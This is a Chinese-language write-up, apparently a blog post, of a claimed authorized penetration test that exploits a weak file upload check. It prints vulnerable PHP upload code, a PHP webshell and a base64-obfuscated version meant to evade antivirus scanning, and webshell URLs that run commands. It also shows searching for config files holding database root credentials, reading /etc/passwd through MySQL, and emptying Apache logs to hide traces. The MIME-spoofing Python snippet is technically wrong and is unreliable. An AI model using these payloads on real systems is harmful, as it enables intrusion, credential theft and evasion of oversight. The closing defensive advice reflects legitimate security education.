一、文件上传漏洞的危险背后:一次真实的渗透经历

有一次,我接到了一个授权渗透测试的任务,目标是一家互联网公司的网站。这家公司刚刚上线一款新产品,网站的功能相对复杂,其中包括一个用户上传头像的模块。最初,我并没有过多关注这个功能,直到在信息收集阶段发现,这个上传接口似乎存在文件类型验证的缺陷——这可能是一个文件上传漏洞。

文件上传漏洞的利用潜力是巨大的,尤其是在目标服务器误配置的情况下。成功上传恶意文件后,我有机会通过直接代码执行控制服务器,或者利用“二次渲染”间接引发更严重的攻击。当时,我的目标就是搞清楚这个上传接口的具体漏洞成因,然后构造一个恶意文件,通过漏洞拿到目标服务器的初始权限。

接下来,我会详细讲解整个攻击链的过程,包括信息收集、漏洞验证、EXP开发到最终的权限获取。

---

二、漏洞产生的原因:从验证机制说起

文件上传漏洞的成因通常可以归结为两个方面:

1. 文件类型验证不严

很多开发者会在前端或者后端做简单的文件类型验证,比如通过文件扩展名判断是否为图片。这个方法非常脆弱,因为攻击者可以直接将恶意文件伪装成图片文件(例如 .php.jpg)。如果后端代码没有严格验证文件的 MIME 类型或内容结构,就会直接导致恶意代码上传成功。

黑客示意图

2. 上传路径可控

通常,文件上传会存储在服务器的某个目录中,比如 /uploads/。如果这个目录支持直接通过 URL 访问且上传文件未被清理,就可能造成直接的代码执行风险。如果上传路径可控(例如通过参数传递),攻击者甚至可以将文件上传到服务器的敏感目录(例如 /var/www/html/)。

3. 解析漏洞

一些服务器(如 Apache 和 Nginx)在处理文件名时存在解析漏洞。比如,上传一个文件名为 shell.php.jpg,服务器会根据配置错误将其解析为 PHP 文件,并执行代码。

黑客示意图

案例分析: 在实际测试中,我发现目标网站的上传接口没有严格验证文件内容,仅仅通过扩展名进行判断。这意味着在上传恶意文件时,只需要伪装成合法扩展名即可绕过验证。

---

三、搭建实战环境:模拟漏洞场景

为了进一步研究这个漏洞,我搭建了一个简单的测试环境。以下是具体步骤:

环境配置

  1. 操作系统:Ubuntu 20.04
  2. Web服务器:Apache 2.4 + PHP 8.0
  3. 数据库:MySQL 5.7
  4. 目标网站:一个含文件上传功能的简单 PHP 网站

文件上传模块代码

目标网站的文件上传功能代码如下(存在漏洞):

<pre><code class="language-php">&lt;?php $upload_dir = &#039;uploads/&#039;; $allowed_types = array(&#039;jpg&#039;, &#039;jpeg&#039;, &#039;png&#039;, &#039;gif&#039;);

// 获取文件信息 $file = $_FILES[&#039;file&#039;]; $file_name = $file[&#039;name&#039;]; $file_type = pathinfo($file_name, PATHINFO_EXTENSION);

// 检查文件类型 if (in_array($file_type, $allowed_types)) { $target_file = $upload_dir . basename($file_name); move_uploaded_file($file[&#039;tmp_name&#039;], $target_file); echo &quot;File uploaded successfully: &quot; . $target_file; } else { echo &quot;Invalid file type.&quot;; } ?&gt;</code></pre>

这段代码存在两个主要问题:

  1. 文件类型验证仅依赖 $file_type,没有检查文件内容的实际 MIME 类型。
  2. 上传后的文件路径完全可访问,没有限制访问权限。

---

四、Payload构造:如何骗过验证机制

1. 构造恶意文件

为了绕过文件类型限制,我构造了一个伪装成图片的 PHP 文件:

<pre><code class="language-php">&lt;?php // shell.php.jpg echo system($_GET[&#039;cmd&#039;]); ?&gt;</code></pre>

然后使用以下命令将文件扩展名伪装成图片:

<pre><code class="language-bash">mv shell.php shell.php.jpg</code></pre>

这个文件表面上看是图片,但内容却是一个简单的 WebShell,可以通过 cmd 参数执行任意命令。

2. 上传文件

通过目标网站的上传接口,我成功上传了伪装文件,并获得了文件的访问路径,例如: <pre><code>http://target.com/uploads/shell.php.jpg</code></pre>

3. 触发代码执行

接下来,我访问以下 URL 并附加命令参数: <pre><code>http://target.com/uploads/shell.php.jpg?cmd=whoami</code></pre>

服务器返回结果: <pre><code>www-data</code></pre>

至此,我已经成功执行了远程命令,并拿到了目标服务器的初始权限。

---

五、绕过高级验证:免杀与对抗

在一些更复杂的场景中,目标服务器可能会使用以下防护措施:

  • MIME 类型验证
  • 文件内容扫描(如病毒扫描)
  • 目录访问限制

以下是我的一些对抗技巧:

1. 绕过 MIME 类型验证

MIME 类型验证通常依赖上传文件的头信息。我们可以使用 Python 修改恶意文件的 MIME 类型:

<pre><code class="language-python">import mimetypes

设置伪装的 MIME 类型

mimetypes.add_type(&#039;image/jpeg&#039;, &#039;.php&#039;) print(mimetypes.guess_type(&#039;shell.php.jpg&#039;))</code></pre>

这段代码会让服务器误判文件类型为图片。

2. 对抗病毒扫描

如果目标服务器有病毒扫描,建议使用加密或混淆技术。以下是一个简单的 PHP 代码混淆器:

<pre><code class="language-php">&lt;?php // shell.php.obfuscated eval(base64_decode(&#039;ZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTs=&#039;)); ?&gt;</code></pre>

混淆后的代码可以绕过许多杀毒程序,因为其内容已经被加密。

---

六、权限提升与横向移动:从初始权限到完全控制

黑客示意图

成功上传文件并获得初始权限后,我接下来进行了权限提升操作。

1. 查找敏感文件

通过 WebShell,我扫描了服务器的目录,寻找配置文件: <pre><code class="language-bash">find / -name &quot;*.conf&quot;</code></pre>

发现 /var/www/html/db.conf,其中包含 MySQL 的 root 用户信息。

2. 数据库权限提升

使用这些账户信息登录 MySQL,并执行以下命令: <pre><code class="language-sql">SELECT LOAD_FILE(&#039;/etc/passwd&#039;);</code></pre>

成功导出了服务器的用户信息,进一步进行横向移动。

---

七、渗透后的痕迹清除:避免被发现

在攻击完成后,我通过以下步骤隐藏行为:

  1. 日志清理:删除 Web 服务器日志。
  2. 文件删除:移除上传的 WebShell。
  3. 权限还原:恢复被修改的文件权限。

以下是清理日志的 Shell 命令: <pre><code class="language-bash">cat /dev/null &gt; /var/log/apache2/access.log cat /dev/null &gt; /var/log/apache2/error.log</code></pre>

---

八、我的一些心得

文件上传漏洞是一种非常常见的攻击载体,但它的危险性往往被开发者低估。在这次渗透测试中,我深刻体会到了以下两点:

  1. 验证要严格:仅仅依赖扩展名是不够的,应该结合 MIME 类型验证和文件内容扫描。
  2. 目录要安全:上传文件的存储路径应该设置为不可访问,并结合随机文件名避免覆盖。

希望大家在实际工作中能够从攻击者视角审视自己的系统,毕竟漏洞的危害是遵循“木桶效应”的——最弱的地方决定了整体安全性。